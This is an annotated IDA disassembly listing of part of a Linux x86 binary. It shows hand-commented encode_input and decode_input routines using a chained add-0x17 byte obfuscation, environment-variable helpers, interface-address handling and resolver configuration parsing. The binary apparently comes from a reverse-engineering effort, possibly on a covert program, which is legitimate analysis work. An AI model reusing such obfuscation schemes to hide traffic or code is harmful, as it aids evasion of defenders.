		call	usleep
		xor	edi, edi

loc_804A165:				; CODE XREF: sub_8049D40+412j
		dec	esi
		add	esp, 4
		jmp	loc_8049EF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A170:				; CODE XREF: sub_8049D40+417j
		inc	edi
		jmp	loc_8049EF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A178:				; CODE XREF: sub_8049D40+F2j
		mov	ds:child_pid, 0
		xor	eax, eax
		lea	esp, [ebp+saved_regs]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8049D40	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

encode_input	proc near		; CODE XREF: main+286p	main+582p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	al, ds:null_byte ; terminate dest at [1]
		mov	[ebx], al
		mov	al, [esi]	; put 1st byte of src in al
		add	al, 17h		; add 0x17 to it
		movsx	eax, al		; put in eax
		push	eax		; 1st byte of src + 0x17
		push	offset aC	; "%c"
		push	ebx		; dest
		call	sprintf
		mov	ecx, 1		; i = 1
		cmp	ecx, edi
		jz	short loc_804A1DD
		nop

loc_804A1C8:				; CODE XREF: encode_input+47j
		movzx	edx, byte ptr [ebx+ecx-1] ; edx	= dest[i - 1]
		movzx	eax, byte ptr [ecx+esi]	; eax =	src[i]
		lea	eax, [edx+eax+17h] ; eax = src[i] + dest[i - 1]	+ 0x17
		mov	[ecx+ebx], al	; dest[i] = eax	truncated to byte
		inc	ecx		; i++
		cmp	ecx, edi
		jnz	short loc_804A1C8 ; edx	= dest[i - 1]

loc_804A1DD:				; CODE XREF: encode_input+31j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
encode_input	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

decode_input	proc near		; CODE XREF: main+1D8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0] ; edi = length	(ex. 200)
		lea	ebx, [edi-1]	; ebx =	length - 1 (ex.	199)
		lea	eax, [edi+3]	; eax =	length + 3 (ex.	203)
		and	al, 0FCh	; round	eax to 4 byte boundary
		sub	esp, eax	; alloca()
		mov	[ebp+var_4], esp ; store alloca() result in workbuf
		mov	al, ds:null_byte ; null	terminate the destination buffer
		mov	esi, [ebp+arg_8] ; offset to first byte	of dest	buffer
		mov	[esi], al	; store	null terminator	in first element of dest buffer
		test	ebx, ebx	; silly	irrelevant test	to make	sure there's more than a single byte in the source buffer
		jl	loc_804A29B	; return

loc_804A214:				; CODE XREF: decode_input+ADj
		lea	edx, [ebx-1]	; edx =	ebx - 1
		test	ebx, ebx	; if (!ebx)
		jz	short loc_804A22C
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ebx+esi]	; eax =	src[ebx]
		movzx	edx, byte ptr [edx+esi]	; edx =	src[edx]
		sub	eax, edx	; eax -= edx
		jmp	short loc_804A232
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A22C:				; CODE XREF: decode_input+31j
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [esi] ; eax = src[0]

loc_804A232:				; CODE XREF: decode_input+40j
		lea	ecx, [eax-17h]
		test	ecx, ecx
		jge	short loc_804A244
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0] ; compiler artifact

loc_804A23C:				; CODE XREF: decode_input+5Aj
		add	ecx, 100h
		js	short loc_804A23C

loc_804A244:				; CODE XREF: decode_input+4Fj
		xor	edx, edx
		cmp	edx, edi	; compiler artifact
		jge	short loc_804A25D ; compiler artifact
		lea	esi, [esi]	; compiler artifact

loc_804A24C:				; CODE XREF: decode_input+73j
		mov	esi, [ebp+arg_8]
		mov	al, [edx+esi]
		mov	esi, [ebp+var_4]
		mov	[edx+esi], al
		inc	edx
		cmp	edx, edi
		jl	short loc_804A24C

loc_804A25D:				; CODE XREF: decode_input+60j
		mov	esi, [ebp+arg_8]
		mov	[esi], cl
		mov	edx, 1
		cmp	edx, edi
		jge	short loc_804A27E
		nop

loc_804A26C:				; CODE XREF: decode_input+94j
		mov	esi, [ebp+var_4]
		mov	al, [edx+esi-1]
		mov	esi, [ebp+arg_8]
		mov	[edx+esi], al
		inc	edx
		cmp	edx, edi
		jl	short loc_804A26C

loc_804A27E:				; CODE XREF: decode_input+81j
		mov	esi, [ebp+var_4]
		push	esi
		push	ecx
		push	offset aCS	; "%c%s"
		mov	esi, [ebp+arg_8]
		push	esi
		call	sprintf
		add	esp, 10h
		dec	ebx
		jns	loc_804A214

loc_804A29B:				; CODE XREF: decode_input+26j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
decode_input	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

setenv		proc near		; CODE XREF: main+946p	main+964p

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	edi
		push	esi
		push	ebx
		xor	dl, dl
		mov	edi, [ebp+arg_0]
		mov	al, dl
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	esi, ecx
		dec	esi
		mov	[ebp+var_8], esi
		mov	edi, [ebp+arg_4]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, ecx
		dec	eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 0
		mov	ebx, __environ
		cmp	dword ptr [ebx], 0
		jz	short loc_804A322

loc_804A2F4:				; CODE XREF: setenv+6Fj
		mov	esi, [ebx]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_804A30E
		mov	esi, [ebx]
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax+esi], 3Dh
		jz	short loc_804A319

loc_804A30E:				; CODE XREF: setenv+59j
		inc	[ebp+var_4]
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804A2F4

loc_804A319:				; CODE XREF: setenv+64j
		cmp	dword ptr [ebx], 0
		jnz	loc_804A408

loc_804A322:				; CODE XREF: setenv+4Aj
		mov	esi, [ebp+var_4]
		lea	esi, ds:8[esi*4]
		push	esi
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804A384
		mov	eax, __environ
		mov	esi, [ebp+var_4]
		lea	edx, ds:0[esi*4]
		push	edx
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	esi, [ebp+var_8]
		lea	eax, [esi+eax+2]
		push	eax
		call	malloc
		mov	edx, eax
		mov	esi, [ebp+var_4]
		mov	[ebx+esi*4], edx
		add	esp, 4
		test	edx, edx
		jnz	short loc_804A390
		push	ebx
		call	free
		mov	__errno, 0Ch

loc_804A384:				; CODE XREF: setenv+91j setenv+19Bj
		mov	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_804A47F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A390:				; CODE XREF: setenv+CAj
		mov	eax, [ebp+var_4]
		mov	eax, [ebx+eax*4]
		mov	[ebp+var_14], eax
		mov	esi, [ebp+var_8]
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		mov	esi, [ebp+var_14]
		push	esi
		call	memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	eax, [ebx+eax*4]
		mov	esi, [ebp+var_8]
		mov	byte ptr [esi+eax], 3Dh
		mov	edx, [ebp+var_C]
		inc	edx
		mov	eax, [ebp+var_4]
		add	esi, [ebx+eax*4]
		inc	esi
		mov	[ebp+var_14], esi
		push	edx
		mov	esi, [ebp+arg_4]
		push	esi
		mov	eax, [ebp+var_14]
		push	eax
		call	memcpy
		add	esp, 0Ch
		mov	esi, [ebp+var_4]
		mov	dword ptr [ebx+esi*4+4], 0
		cmp	dword_80784F4, 0
		jz	short loc_804A3F8
		mov	eax, dword_80784F4
		push	eax
		call	free

loc_804A3F8:				; CODE XREF: setenv+143j
		mov	dword_80784F4, ebx
		mov	__environ, ebx
		jmp	short loc_804A47F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A408:				; CODE XREF: setenv+74j
		cmp	[ebp+arg_8], 0
		jz	short loc_804A47F
		xor	dl, dl
		mov	edi, [ebx]
		mov	al, dl
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	esi, ecx
		dec	esi
		mov	[ebp+var_14], esi
		mov	eax, [ebp+var_C]
		mov	esi, [ebp+var_8]
		lea	edx, [esi+eax+1]
		cmp	[ebp+var_14], edx
		jnb	short loc_804A44B
		lea	eax, [edx+1]
		push	eax
		call	malloc
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	loc_804A384
		mov	[ebx], edx

loc_804A44B:				; CODE XREF: setenv+189j
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		mov	esi, [ebp+var_8]
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		mov	esi, [ebp+var_14]
		push	esi
		call	memcpy
		add	esp, 0Ch
		mov	eax, [ebx]
		mov	esi, [ebp+var_8]
		mov	byte ptr [esi+eax], 3Dh
		mov	edx, [ebp+var_C]
		inc	edx
		add	esi, [ebx]
		inc	esi
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	esi
		call	memcpy

loc_804A47F:				; CODE XREF: setenv+E3j setenv+15Cj ...
		mov	eax, [ebp+var_10]
		lea	esp, [ebp+var_24]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
setenv		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

unsetenv	proc near		; CODE XREF: main+953p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		xor	al, al
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	ebx, __environ
		mov	edx, ebx
		cmp	dword ptr [ebx], 0
		jz	short loc_804A4E1
		nop

loc_804A4B8:				; CODE XREF: unsetenv+53j
		mov	esi, [edx]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_804A4D2
		mov	eax, [edx]
		mov	esi, [ebp+var_4]
		cmp	byte ptr [esi+eax], 3Dh
		jz	short loc_804A4D9

loc_804A4D2:				; CODE XREF: unsetenv+39j
		mov	eax, [edx]
		mov	[ebx], eax
		add	ebx, 4

loc_804A4D9:				; CODE XREF: unsetenv+44j
		add	edx, 4
		cmp	dword ptr [edx], 0
		jnz	short loc_804A4B8

loc_804A4E1:				; CODE XREF: unsetenv+29j
		mov	dword ptr [ebx], 0
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
unsetenv	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

dotrimdomain	proc near		; CODE XREF: trim_domains+14p
					; trim_domains+2Cp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		cmp	dword_8078520, esi
		jle	short loc_804A574
		nop

loc_804A508:				; CODE XREF: dotrimdomain+7Ej
		mov	eax, ds:dword_807A348[esi*4]
		mov	[ebp+var_8], eax
		mov	edi, [ebp+var_8]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	ebx, ecx
		dec	ebx
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, ebx
		jle	short loc_804A56B
		mov	edx, [ebp+var_8]
		push	edx
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, ebx
		push	eax
		call	sub_80565F8
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jnz	short loc_804A56B
		mov	edi, [ebp+arg_0]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	edx, ecx
		dec	edx
		sub	edx, ebx
		mov	eax, [ebp+arg_0]
		mov	byte ptr [edx+eax], 0

loc_804A56B:				; CODE XREF: dotrimdomain+40j
					; dotrimdomain+5Aj
		inc	esi
		cmp	dword_8078520, esi
		jg	short loc_804A508

loc_804A574:				; CODE XREF: dotrimdomain+11j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
dotrimdomain	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

trim_domains	proc near		; CODE XREF: gethostbyname+285p
					; gethostbyaddr+281p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		cmp	dword_8078520, 0
		jz	short loc_804A5BE
		mov	eax, [esi]
		push	eax
		call	dotrimdomain
		xor	ebx, ebx
		add	esp, 4
		mov	eax, [esi+4]
		cmp	dword ptr [eax], 0
		jz	short loc_804A5BE
		lea	esi, [esi]

loc_804A5A8:				; CODE XREF: trim_domains+3Cj
		mov	eax, [eax+ebx*4]
		push	eax
		call	dotrimdomain
		add	esp, 4
		inc	ebx
		mov	eax, [esi+4]
		cmp	dword ptr [eax+ebx*4], 0
		jnz	short loc_804A5A8

loc_804A5BE:				; CODE XREF: trim_domains+Fj
					; trim_domains+24j
		mov	eax, esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
trim_domains	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

reorder_addrs	proc near		; CODE XREF: sub_804BEB0+5Ep
					; sub_804BEB0+90p ...

var_174		= byte ptr -174h
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		push	edi
		push	esi
		push	ebx
		cmp	dword_8078524, 0
		jz	loc_804A9C9
		cmp	[ebp+arg_0], 0
		jz	loc_804A9C9
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	loc_804A8F7
		push	0
		push	1
		push	2
		call	socket
		mov	[ebp+var_150], eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_804A9C9
		mov	[ebp+var_148], 140h
		lea	edi, [ebp+var_140]
		mov	[ebp+var_144], edi
		lea	eax, [ebp+var_148]
		push	eax
		push	8912h
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_804A9C9
		mov	edi, [ebp+var_148]
		shr	edi, 5
		mov	[ebp+var_154], edi
		mov	ds:dword_80793B0, offset unk_80792C0
		mov	edi, [ebp+var_144]
		mov	[ebp+var_168], edi
		cmp	[ebp+var_154], 0
		jz	loc_804A8DB
		mov	ebx, edi
		add	ebx, 14h
		mov	eax, [ebp+var_154]
		and	eax, 1
		cmp	[ebp+var_154], 0
		jle	short loc_804A6A4
		test	eax, eax
		jz	loc_804A747

loc_804A6A4:				; CODE XREF: reorder_addrs+CEj
		mov	edi, [ebp+var_168]
		push	edi
		mov	eax, ds:dword_80793B0
		push	eax
		call	strcpy
		push	edi
		push	891Bh
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A731
		cmp	word ptr [ebx-4], 2
		jnz	short loc_804A731
		mov	esi, [ebx]
		mov	edi, [ebp+var_168]
		push	edi
		push	8915h
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A731
		cmp	word ptr [ebx-4], 2
		jnz	short loc_804A731
		mov	edx, [ebx]
		and	edx, esi
		jz	short loc_804A731
		mov	eax, ds:dword_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], esi
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	short loc_804A724
		mov	dword_8078524, 0

loc_804A724:				; CODE XREF: reorder_addrs+14Cj
		add	ds:dword_80793B0, 18h
		inc	dword_8078524

loc_804A731:				; CODE XREF: reorder_addrs+102j
					; reorder_addrs+109j ...
		add	ebx, 20h
		add	[ebp+var_168], 20h
		dec	[ebp+var_154]
		jz	loc_804A8DB

loc_804A747:				; CODE XREF: reorder_addrs+D2j
		mov	[ebp+var_158], ebx
		lea	edi, [ebx-4]
		mov	[ebp+var_15C], edi
		mov	[ebp+var_160], ebx
		mov	[ebp+var_164], edi
		lea	esi, [esi]

loc_804A764:				; CODE XREF: reorder_addrs+309j
		mov	edi, [ebp+var_168]
		push	edi
		mov	eax, ds:dword_80793B0
		push	eax
		call	strcpy
		push	edi
		push	891Bh
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A807
		mov	edi, [ebp+var_164]
		cmp	word ptr [edi],	2
		jnz	short loc_804A807
		mov	edi, [ebp+var_160]
		mov	ebx, [edi]
		mov	edi, [ebp+var_168]
		push	edi
		push	8915h
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A807
		mov	edi, [ebp+var_15C]
		cmp	word ptr [edi],	2
		jnz	short loc_804A807
		mov	edi, [ebp+var_158]
		mov	edx, [edi]
		and	edx, ebx
		jz	short loc_804A807
		mov	eax, ds:dword_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], ebx
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	short loc_804A7FA
		mov	dword_8078524, 0

loc_804A7FA:				; CODE XREF: reorder_addrs+222j
		add	ds:dword_80793B0, 18h
		inc	dword_8078524

loc_804A807:				; CODE XREF: reorder_addrs+1C2j
					; reorder_addrs+1CEj ...
		mov	ebx, [ebp+var_168]
		add	ebx, 20h
		push	ebx
		mov	eax, ds:dword_80793B0
		push	eax
		call	strcpy
		push	ebx
		push	891Bh
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A8AB
		mov	edi, [ebp+var_164]
		cmp	word ptr [edi+20h], 2
		jnz	short loc_804A8AB
		mov	edi, [ebp+var_160]
		mov	esi, [edi+20h]
		push	ebx
		push	8915h
		mov	edi, [ebp+var_150]
		push	edi
		call	ioctl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_804A8AB
		mov	edi, [ebp+var_15C]
		cmp	word ptr [edi+20h], 2
		jnz	short loc_804A8AB
		mov	edi, [ebp+var_158]
		mov	edx, [edi+20h]
		and	edx, esi
		jz	short loc_804A8AB
		mov	eax, ds:dword_80793B0
		mov	[eax+10h], edx
		mov	[eax+14h], esi
		cmp	dword_8078524, 0FFFFFFFFh
		jnz	short loc_804A89E
		mov	dword_8078524, 0

loc_804A89E:				; CODE XREF: reorder_addrs+2C6j
		add	ds:dword_80793B0, 18h
		inc	dword_8078524

loc_804A8AB:				; CODE XREF: reorder_addrs+268j
					; reorder_addrs+275j ...
		add	[ebp+var_158], 40h
		add	[ebp+var_15C], 40h
		add	[ebp+var_160], 40h
		add	[ebp+var_164], 40h
		add	[ebp+var_168], 40h
		add	[ebp+var_154], 0FFFFFFFEh
		jnz	loc_804A764

loc_804A8DB:				; CODE XREF: reorder_addrs+B3j
					; reorder_addrs+175j
		mov	edi, [ebp+var_150]
		push	edi
		call	close
		add	esp, 4
		cmp	dword_8078524, 0
		jz	loc_804A9C9

loc_804A8F7:				; CODE XREF: reorder_addrs+2Aj
		mov	edi, [ebp+arg_0]
		mov	ebx, [edi+10h]
		test	ebx, ebx
		jz	loc_804A9C9
		lea	esi, [ebp+var_14C]
		nop

loc_804A90C:				; CODE XREF: reorder_addrs+3F7j
		cmp	dword ptr [ebx], 0
		jz	loc_804A9C9
		mov	ds:dword_80793B0, offset unk_80792C0
		mov	ecx, dword_8078524
		test	ecx, ecx
		jz	loc_804A9C0
		mov	eax, ecx
		and	eax, 1
		test	ecx, ecx
		jle	short loc_804A93A
		test	eax, eax
		jz	short loc_804A958

loc_804A93A:				; CODE XREF: reorder_addrs+368j
		mov	eax, [ebx]
		mov	edx, ds:dword_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jz	short loc_804A983
		add	ds:dword_80793B0, 18h
		dec	ecx
		jz	short loc_804A9C0
		lea	esi, [esi]

loc_804A958:				; CODE XREF: reorder_addrs+36Cj
					; reorder_addrs+3F2j
		mov	eax, [ebx]
		mov	edx, ds:dword_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jz	short loc_804A983
		add	ds:dword_80793B0, 18h
		mov	eax, [ebx]
		mov	edx, ds:dword_80793B0
		mov	eax, [eax]
		and	eax, [edx+14h]
		cmp	[edx+10h], eax
		jnz	short loc_804A9B4

loc_804A983:				; CODE XREF: reorder_addrs+37Ej
					; reorder_addrs+39Cj
		push	4
		push	esi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		push	4
		mov	eax, [edi+10h]
		mov	eax, [eax]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	bcopy
		push	4
		mov	eax, [ebx]
		push	eax
		push	esi
		call	bcopy
		jmp	short loc_804A9C9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804A9B4:				; CODE XREF: reorder_addrs+3B5j
		add	ds:dword_80793B0, 18h
		add	ecx, 0FFFFFFFEh
		jnz	short loc_804A958

loc_804A9C0:				; CODE XREF: reorder_addrs+35Bj
					; reorder_addrs+388j
		add	ebx, 4
		jnz	loc_804A90C

loc_804A9C9:				; CODE XREF: reorder_addrs+13j
					; reorder_addrs+1Dj ...
		lea	esp, [ebp+var_174]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
reorder_addrs	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

init_services_resolv proc near		; CODE XREF: sub_804BEB0+Fp
					; gethostbyname+E1p ...

var_420		= byte ptr -420h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FC		= byte ptr -3FCh
var_3FB		= byte ptr -3FBh
var_3F9		= byte ptr -3F9h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		mov	[ebp+var_408], offset unk_807A358
		call	sub_805E954
		push	offset aResolv_host_co ; "RESOLV_HOST_CONF"
		call	secure_getenv
		mov	[ebp+var_40C], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_804AA16
		mov	[ebp+var_40C], offset aEtcHost_conf ; "/etc/host.conf"

loc_804AA16:				; CODE XREF: init_services_resolv+32j
		push	offset aR	; "r"
		mov	eax, [ebp+var_40C]
		push	eax
		call	fopen
		mov	[ebp+var_404], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_804AA50
		mov	ds:dword_8079DD4, 1
		mov	ds:dword_8079DD8, 0
		jmp	loc_804B436
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AA50:				; CODE XREF: init_services_resolv+5Aj
		lea	ecx, [ebp+var_400]
		mov	[ebp+var_410], ecx

loc_804AA5C:				; CODE XREF: init_services_resolv+CAj
					; init_services_resolv+EFj ...
		mov	eax, [ebp+var_404]
		push	eax
		push	400h
		mov	ecx, [ebp+var_410]
		push	ecx
		call	fgets
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jz	loc_804B41C
		push	0Ah
		mov	eax, [ebp+var_410]
		push	eax
		call	sub_8057BE8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804AA9B
		mov	byte ptr [ebx],	0

loc_804AA9B:				; CODE XREF: init_services_resolv+BEj
		cmp	[ebp+var_400], 23h
		jz	short loc_804AA5C
		lea	ebx, [ebp+var_400]
		cmp	[ebp+var_400], 0
		jz	short loc_804AACE
		mov	edx, dword_8078FA0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804AABC:				; CODE XREF: init_services_resolv+F4j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804AACE
		inc	ebx
		jz	short loc_804AA5C
		cmp	byte ptr [ebx],	0
		jnz	short loc_804AABC

loc_804AACE:				; CODE XREF: init_services_resolv+D9j
					; init_services_resolv+ECj
		test	ebx, ebx
		jz	short loc_804AA5C
		cmp	byte ptr [ebx],	0
		jz	short loc_804AA5C
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		push	edx
		push	ebx
		mov	eax, [ebp+var_410]
		push	eax
		call	sub_8056570
		push	5
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	checkbuf
		mov	edx, eax
		add	esp, 18h
		test	edx, edx
		jnz	loc_804AD64
		cmp	[ebp+var_3FB], 0
		jz	short loc_804AB3B
		movzx	edx, [ebp+var_3FB]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804AD64

loc_804AB3B:				; CODE XREF: init_services_resolv+14Aj
		push	offset asc_806791B ; " \t"
		mov	eax, [ebp+var_410]
		push	eax
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804AB5B
		cmp	byte ptr [ebx+1], 0
		jnz	short loc_804AB7D

loc_804AB5B:				; CODE XREF: init_services_resolv+17Bj
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		jmp	loc_804B3AC
